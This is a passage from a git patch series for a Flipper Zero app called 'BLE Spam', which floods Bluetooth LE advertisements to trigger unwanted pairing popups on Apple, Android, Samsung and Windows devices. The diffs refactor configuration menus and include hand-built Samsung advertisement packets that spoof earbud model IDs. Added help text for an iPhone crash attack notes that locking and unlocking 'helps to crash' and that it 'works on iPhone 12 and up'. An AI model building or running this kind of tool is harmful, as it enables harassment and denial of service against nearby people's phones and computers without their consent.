scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); } static void na_action_type_callback(void* _ctx, uint32_t index) { @@ -719,13 +719,10 @@ void scene_continuity_na_action_type_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Action Type"); + ctx->byte_store[0] = (cfg->data.nearby_action.type >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - na_action_type_custom_callback, - NULL, - ctx, - (void*)&cfg->data.nearby_action.type, - sizeof(cfg->data.nearby_action.type)); + byte_input, na_action_type_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -735,7 +732,9 @@ bool scene_continuity_na_action_type_custom_on_event(void* _ctx, SceneManagerEve return false; } void scene_continuity_na_action_type_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.nearby_action.type = (ctx->byte_store[0] << 0x00); } static void na_flags_callback(void* _ctx) { @@ -749,24 +748,22 @@ void scene_continuity_na_flags_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Press back for automatic"); + ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - na_flags_callback, - NULL, - ctx, - (void*)&cfg->data.nearby_action.flags, - sizeof(cfg->data.nearby_action.flags)); + byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; if(event.type == SceneManagerEventTypeBack) { - cfg->data.nearby_action.flags = 0x00; + ctx->byte_store[0] = 0x00; } return false; } void scene_continuity_na_flags_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00); } diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 8944b7810..e5b95894e 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -209,13 +209,12 @@ void scene_fastpair_model_id_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Model ID"); + ctx->byte_store[0] = (cfg->model_id >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->model_id >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->model_id >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - model_id_custom_callback, - NULL, - ctx, - ((void*)&cfg->model_id) + 1, - sizeof(cfg->model_id) - 1); + byte_input, model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -225,5 +224,8 @@ bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event return false; } void scene_fastpair_model_id_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + cfg->model_id = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 13b37443a..2d87affcb 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -215,13 +215,12 @@ void scene_smartthings_data_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Data"); + ctx->byte_store[0] = (cfg->data >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->data >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->data >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - data_custom_callback, - NULL, - ctx, - ((void*)&cfg->data) + 1, - sizeof(cfg->data) - 1); + byte_input, data_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -231,5 +230,8 @@ bool scene_smartthings_data_custom_on_event(void* _ctx, SceneManagerEvent event) return false; } void scene_smartthings_data_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + cfg->data = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } From 562a634ca5192eece54e4b2deefea2b5ab0c7a6f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 19:39:42 +0100 Subject: [PATCH 37/56] BLE Spam bump version --- applications/external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index d66dbeb14..e3c454e87 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="2.0", + fap_version="3.0", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 80a0a7e7f..67e07f9c6 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -277,7 +277,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#2.0\e#", + " Version \e#3.0\e#", false); break; default: { From a75122011dc282998eb7c6dab1121e2d6be2c45c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 20 Oct 2023 22:40:04 +0100 Subject: [PATCH 38/56] BLE Spam move extra config after --- applications/external/ble_spam/ble_spam.h | 5 +++++ applications/external/ble_spam/protocols/_base.h | 2 +- .../external/ble_spam/protocols/continuity.c | 13 ++++--------- applications/external/ble_spam/protocols/fastpair.c | 9 +++------ .../external/ble_spam/protocols/smartthings.c | 9 +++------ .../external/ble_spam/protocols/swiftpair.c | 9 +++------ applications/external/ble_spam/scenes/config.c | 9 ++++----- 7 files changed, 23 insertions(+), 33 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index 7f79f9434..edf2c55ca 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -16,6 +16,11 @@ enum { ViewVariableItemList, }; +enum { + ConfigRandomMac, + ConfigExtraStart = ConfigRandomMac, +}; + typedef struct Attack Attack; typedef struct { diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index d519f5bf8..0b6fdacbd 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -16,5 +16,5 @@ typedef struct { const Icon* icon; const char* (*get_name)(const ProtocolCfg* _cfg); void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); - uint8_t (*config_list)(Ctx* ctx); + void (*extra_config)(Ctx* ctx); } Protocol; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 710818689..70fa9e1e8 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -274,10 +274,12 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot } enum { + _ConfigPpExtraStart = ConfigExtraStart, ConfigPpModelId, ConfigPpPrefix, }; enum { + _ConfigNaExtraStart = ConfigExtraStart, ConfigNaActionType, ConfigNaFlags, }; @@ -352,16 +354,14 @@ static void na_action_type_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static uint8_t continuity_config_list(Ctx* ctx) { +static void continuity_extra_config(Ctx* ctx) { ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; size_t value_index; switch(cfg->type) { case ContinuityTypeProximityPair: { - item_count++; item = variable_item_list_add( list, "Model ID", pp_models_count + 1, pp_model_id_changed, cfg); const char* model_name = NULL; @@ -390,7 +390,6 @@ static uint8_t continuity_config_list(Ctx* ctx) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); - item_count++; item = variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg); const char* prefix_name = NULL; @@ -421,7 +420,6 @@ static uint8_t continuity_config_list(Ctx* ctx) { break; } case ContinuityTypeNearbyAction: { - item_count++; item = variable_item_list_add( list, "Action Type", na_actions_count + 1, na_action_type_changed, cfg); const char* action_name = NULL; @@ -447,7 +445,6 @@ static uint8_t continuity_config_list(Ctx* ctx) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, action_name); - item_count++; item = variable_item_list_add(list, "Flags", 0, NULL, NULL); const char* flags_name = NULL; char flags_name_buf[3]; @@ -466,15 +463,13 @@ static uint8_t continuity_config_list(Ctx* ctx) { } variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, - .config_list = continuity_config_list, + .extra_config = continuity_extra_config, }; static void pp_model_id_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index e5b95894e..b80dcf4e4 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -74,6 +74,7 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc } enum { + _ConfigExtraStart = ConfigExtraStart, ConfigModelId, }; static void config_callback(void* _ctx, uint32_t index) { @@ -98,14 +99,12 @@ static void model_id_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static uint8_t fastpair_config_list(Ctx* ctx) { +static void fastpair_extra_config(Ctx* ctx) { FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; size_t value_index; - item_count++; item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg); const char* model_name = NULL; char model_name_buf[9]; @@ -130,15 +129,13 @@ static uint8_t fastpair_config_list(Ctx* ctx) { variable_item_set_current_value_text(item, model_name); variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, - .config_list = fastpair_config_list, + .extra_config = fastpair_extra_config, }; static void model_id_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 2d87affcb..efa33d7c9 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -80,6 +80,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot } enum { + _ConfigExtraStart = ConfigExtraStart, ConfigData, }; static void config_callback(void* _ctx, uint32_t index) { @@ -104,14 +105,12 @@ static void data_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static uint8_t smartthings_config_list(Ctx* ctx) { +static void smartthings_extra_config(Ctx* ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; size_t value_index; - item_count++; item = variable_item_list_add(list, "Data", datas_count + 1, data_changed, cfg); const char* data_name = NULL; char data_name_buf[9]; @@ -136,15 +135,13 @@ static uint8_t smartthings_config_list(Ctx* ctx) { variable_item_set_current_value_text(item, data_name); variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_smartthings = { .icon = &I_android, .get_name = smartthings_get_name, .make_packet = smartthings_make_packet, - .config_list = smartthings_config_list, + .extra_config = smartthings_extra_config, }; static void data_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 802e93201..8a94909ee 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -48,6 +48,7 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto } enum { + _ConfigExtraStart = ConfigExtraStart, ConfigDisplayName, }; static void config_callback(void* _ctx, uint32_t index) { @@ -60,27 +61,23 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } -static uint8_t swiftpair_config_list(Ctx* ctx) { +static void swiftpair_extra_config(Ctx* ctx) { SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; - item_count++; item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); variable_item_set_current_value_text( item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, - .config_list = swiftpair_config_list, + .extra_config = swiftpair_extra_config, }; static void display_name_callback(void* _ctx) { diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index a387fbd25..d8a73776a 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -15,16 +15,15 @@ void scene_config_on_enter(void* _ctx) { variable_item_list_reset(list); variable_item_list_set_header(list, ctx->attack->title); - uint8_t item_count = 0; - if(ctx->attack->protocol && ctx->attack->protocol->config_list) { - item_count = ctx->attack->protocol->config_list(ctx); - } - UNUSED(item_count); item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + if(ctx->attack->protocol && ctx->attack->protocol->extra_config) { + ctx->attack->protocol->extra_config(ctx); + } + variable_item_list_set_selected_item( list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); From 3f0b9f2d417c3fd3a60e9c09953c00974507be80 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 20 Oct 2023 23:38:11 +0100 Subject: [PATCH 39/56] BLE Spam add some help messages to config menus --- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/protocols/continuity.c | 5 +++++ applications/external/ble_spam/protocols/fastpair.c | 2 ++ applications/external/ble_spam/protocols/swiftpair.c | 2 ++ applications/external/ble_spam/scenes/config.c | 4 +++- 5 files changed, 13 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 67e07f9c6..2cf3f2fb6 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -102,7 +102,7 @@ static Attack attacks[] = { }, { .title = "Windows Device Found", - .text = "Requires enabling SwiftPair", + .text = "No cooldown, short range", .protocol = &protocol_swiftpair, .payload = { diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 70fa9e1e8..24940dd40 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -458,6 +458,11 @@ static void continuity_extra_config(Ctx* ctx) { variable_item_set_current_value_text(item, flags_name); break; } + case ContinuityTypeCustomCrash: { + variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL); + variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL); + break; + } default: break; } diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index b80dcf4e4..0f6cdd146 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -128,6 +128,8 @@ static void fastpair_extra_config(Ctx* ctx) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); + variable_item_list_add(list, "Requires Google services", 0, NULL, NULL); + variable_item_list_set_enter_callback(list, config_callback, ctx); } diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 8a94909ee..caa410130 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -70,6 +70,8 @@ static void swiftpair_extra_config(Ctx* ctx) { variable_item_set_current_value_text( item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); + variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL); + variable_item_list_set_enter_callback(list, config_callback, ctx); } diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index d8a73776a..afd7159af 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -20,7 +20,9 @@ void scene_config_on_enter(void* _ctx) { variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); - if(ctx->attack->protocol && ctx->attack->protocol->extra_config) { + if(!ctx->attack->protocol) { + variable_item_list_add(list, "None shall escape the S I N K", 0, NULL, NULL); + } else if(ctx->attack->protocol->extra_config) { ctx->attack->protocol->extra_config(ctx); } From 5171b1645cf19a815f02e4639a09e8eca18f4638 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 00:06:55 +0100 Subject: [PATCH 40/56] BLE Spam refactor SmartThings for more types --- applications/external/ble_spam/ble_spam.c | 2 +- .../external/ble_spam/protocols/smartthings.c | 226 ++++++++++-------- .../external/ble_spam/protocols/smartthings.h | 12 +- .../ble_spam/protocols/smartthings_scenes.h | 4 +- 4 files changed, 145 insertions(+), 99 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 2cf3f2fb6..d929a4f6c 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -88,7 +88,7 @@ static Attack attacks[] = { }, }, { - .title = "Samsung Earbuds Pair", + .title = "Samsung Buds Pair", .text = "No cooldown, long range", .protocol = &protocol_smartthings, .payload = diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index efa33d7c9..61e91f5ea 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -7,7 +7,7 @@ const struct { uint32_t value; const char* name; -} datas[] = { +} buds_models[] = { {0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"}, {0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"}, {0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"}, @@ -19,89 +19,117 @@ const struct { {0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"}, {0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"}, }; -const uint8_t datas_count = COUNT_OF(datas); +const uint8_t buds_models_count = COUNT_OF(buds_models); -const char* smartthings_get_name(const ProtocolCfg* _cfg) { +static const char* type_names[SmartthingsTypeMAX] = { + [SmartthingsTypeBuds] = "SmartThings Buds", +}; +static const char* smartthings_get_name(const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = &_cfg->smartthings; - UNUSED(cfg); - return "SmartThings"; + return type_names[cfg->type]; } +static uint8_t packet_sizes[SmartthingsTypeMAX] = { + [SmartthingsTypeBuds] = 31, +}; void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; - uint32_t data; - if(cfg && cfg->data != 0x000000) { - data = cfg->data; + SmartthingsType type; + if(cfg) { + type = cfg->type; } else { - data = datas[rand() % datas_count].value; + type = rand() % SmartthingsTypeMAX; } - uint8_t size = 31; + uint8_t size = packet_sizes[type]; uint8_t* packet = malloc(size); uint8_t i = 0; - packet[i++] = 27; // Size - packet[i++] = 0xFF; // AD Type (Manufacturer Specific) - packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) - packet[i++] = 0x00; // ... - packet[i++] = 0x42; - packet[i++] = 0x09; - packet[i++] = 0x81; - packet[i++] = 0x02; - packet[i++] = 0x14; - packet[i++] = 0x15; - packet[i++] = 0x03; - packet[i++] = 0x21; - packet[i++] = 0x01; - packet[i++] = 0x00; - packet[i++] = (data >> 0x10) & 0xFF; - packet[i++] = (data >> 0x08) & 0xFF; - packet[i++] = 0x01; - packet[i++] = (data >> 0x00) & 0xFF; - packet[i++] = 0x06; - packet[i++] = 0x3C; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; + switch(type) { + case SmartthingsTypeBuds: { + uint32_t model; + if(cfg && cfg->data.buds.model != 0x000000) { + model = cfg->data.buds.model; + } else { + model = buds_models[rand() % buds_models_count].value; + } - packet[i++] = 16; // Size - packet[i++] = 0xFF; // AD Type (Manufacturer Specific) - packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) - // Truncated AD segment, Android seems to fill in the rest with zeros + packet[i++] = 27; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x42; + packet[i++] = 0x09; + packet[i++] = 0x81; + packet[i++] = 0x02; + packet[i++] = 0x14; + packet[i++] = 0x15; + packet[i++] = 0x03; + packet[i++] = 0x21; + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = 0x01; + packet[i++] = (model >> 0x00) & 0xFF; + packet[i++] = 0x06; + packet[i++] = 0x3C; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + + packet[i++] = 16; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + // Truncated AD segment, Android seems to fill in the rest with zeros + break; + } + default: + break; + } *out_size = size; *out_packet = packet; } enum { - _ConfigExtraStart = ConfigExtraStart, - ConfigData, + _ConfigBudsExtraStart = ConfigExtraStart, + ConfigBudsModel, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); - switch(index) { - case ConfigData: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsData); + switch(cfg->type) { + case SmartthingsTypeBuds: { + switch(index) { + case ConfigBudsModel: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModel); + break; + default: + break; + } + break; + } default: break; } } -static void data_changed(VariableItem* item) { +static void buds_model_changed(VariableItem* item) { SmartthingsCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->data = datas[index].value; - variable_item_set_current_value_text(item, datas[index].name); + cfg->data.buds.model = buds_models[index].value; + variable_item_set_current_value_text(item, buds_models[index].name); } else { - cfg->data = 0x000000; + cfg->data.buds.model = 0x000000; variable_item_set_current_value_text(item, "Random"); } } @@ -111,28 +139,36 @@ static void smartthings_extra_config(Ctx* ctx) { VariableItem* item; size_t value_index; - item = variable_item_list_add(list, "Data", datas_count + 1, data_changed, cfg); - const char* data_name = NULL; - char data_name_buf[9]; - if(cfg->data == 0x000000) { - data_name = "Random"; - value_index = 0; - } else { - for(uint8_t i = 0; i < datas_count; i++) { - if(cfg->data == datas[i].value) { - data_name = datas[i].name; - value_index = i + 1; - break; + switch(cfg->type) { + case SmartthingsTypeBuds: { + item = + variable_item_list_add(list, "Model", buds_models_count + 1, buds_model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[9]; + if(cfg->data.buds.model == 0x000000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < buds_models_count; i++) { + if(cfg->data.buds.model == buds_models[i].value) { + model_name = buds_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model); + model_name = model_name_buf; + value_index = buds_models_count + 1; } } - if(!data_name) { - snprintf(data_name_buf, sizeof(data_name_buf), "%06lX", cfg->data); - data_name = data_name_buf; - value_index = datas_count + 1; - } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + break; + } + default: + break; } - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, data_name); variable_item_list_set_enter_callback(list, config_callback, ctx); } @@ -144,24 +180,24 @@ const Protocol protocol_smartthings = { .extra_config = smartthings_extra_config, }; -static void data_callback(void* _ctx, uint32_t index) { +static void buds_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; switch(index) { case 0: - cfg->data = 0x000000; + cfg->data.buds.model = 0x000000; scene_manager_previous_scene(ctx->scene_manager); break; - case datas_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsDataCustom); + case buds_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModelCustom); break; default: - cfg->data = datas[index - 1].value; + cfg->data.buds.model = buds_models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_smartthings_data_on_enter(void* _ctx) { +void scene_smartthings_buds_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; Submenu* submenu = ctx->submenu; @@ -169,66 +205,66 @@ void scene_smartthings_data_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, data_callback, ctx); - if(cfg->data == 0x000000) { + submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx); + if(cfg->data.buds.model == 0x000000) { found = true; selected = 0; } - for(uint8_t i = 0; i < datas_count; i++) { - submenu_add_item(submenu, datas[i].name, i + 1, data_callback, ctx); - if(!found && cfg->data == datas[i].value) { + for(uint8_t i = 0; i < buds_models_count; i++) { + submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx); + if(!found && cfg->data.buds.model == buds_models[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", datas_count + 1, data_callback, ctx); + submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx); if(!found) { found = true; - selected = datas_count + 1; + selected = buds_models_count + 1; } submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_smartthings_data_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_smartthings_buds_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_data_on_exit(void* _ctx) { +void scene_smartthings_buds_model_on_exit(void* _ctx) { UNUSED(_ctx); } -static void data_custom_callback(void* _ctx) { +static void buds_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_smartthings_data_custom_on_enter(void* _ctx) { +void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Data"); + byte_input_set_header_text(byte_input, "Enter custom Model"); - ctx->byte_store[0] = (cfg->data >> 0x10) & 0xFF; - ctx->byte_store[1] = (cfg->data >> 0x08) & 0xFF; - ctx->byte_store[2] = (cfg->data >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, data_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_smartthings_data_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_smartthings_buds_model_custom_on_event(void* _ctx, 